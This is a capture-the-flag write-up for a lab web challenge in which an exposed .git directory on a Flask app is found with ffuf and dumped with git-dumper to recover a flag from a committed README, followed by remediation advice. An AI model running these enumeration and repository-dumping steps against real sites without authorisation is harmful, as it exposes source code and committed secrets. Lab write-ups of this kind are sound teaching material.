Hacker Holidays — Day 2: Room 404
A Flask app leaves .git/ reachable — git-dumper reconstructs the full repo, and a "remove before launch" note in the staging README hands over the flag directly.

Event: Hacker Holidays — The Byte Lotus Hotel · Day 2 · Web / Directory Enumeration Target:
http://MACHINE_IP:8080
The Setup
A Flask app on port 8080. The briefing all but tells you the bug: “the night-shift
developer shipped more than the website” and “dump the exposed source code.” Classic
exposed .git/ directory → full source disclosure.
Recon
Fingerprint the service — it’s Flask/Werkzeug (so expect a Python app + static files, no directory listing):
curl -sI http://10.128.152.4:8080/
HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.12.3
Content-Type: text/html; charset=utf-8
Fuzzing
ffuf -u http://10.128.152.4:8080/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,302,401,403
.git/HEAD [Status: 200, Size: 21, Words: 2, Lines: 2, Duration: 46ms]
[Status: 200, Size: 2554, Words: 337, Lines: 53, Duration: 42ms]
:: Progress: [4614/4614] :: Job [1/1] :: 439 req/sec :: Duration: [0:00:10] :: Errors: 0 ::
.git/HEAD turns up in the fuzz. (Only that and / show up because Flask serves files
individually — no directory index to enumerate, which is exactly why we dump .git/
instead of wget -r.)
Confirm it directly:
curl -s http://10.128.152.4:8080/.git/HEAD
ref: refs/heads/main
.git/ is served → the whole repo is exposed.
Exploitation — Dump the Repo
Flask won’t list the .git/ object files, so use git-dumper, which reconstructs the
repo by walking git’s internal refs:
pipx install git-dumper
git-dumper http://10.128.152.4:8080/.git/ ./loot
Result:
ls
app.js index.html README.md
Finding the Flag
app.js and index.html are just the front-end stub and the landing page. The staging
note in README.md is where the dev slipped:
cat README.md
# Byte Lotus — Guest Experience Platform
Internal staging repository for the guest app and concierge personalization
service. Do not deploy this folder to production.
Staging flag (remove before launch): THM{redacted}
app.js also drops a breadcrumb for later days — the concierge personalization is
served from /api/guest (“the profiling service”):
const API = "/api/guest";
// TODO: wire to live endpoint before launch
Worth noting for the “profile assembled from two breakfasts and a livestream” thread.
Takeaways
- A reachable
.git/HEAD= full source disclosure. git-dumper reconstructs the entire repo (working tree + history) even with directory listing disabled — always dump the whole thing, not just the visible files. - The flag was a “remove before launch” note committed to the repo. Deploying the
.git/folder shipped every secret the dev ever committed. - Fix: never serve
.git/(block it at the web server / reverse proxy), and don’t commit secrets — history keeps them even after deletion (“never forgets”).
Flag
THM{redacted}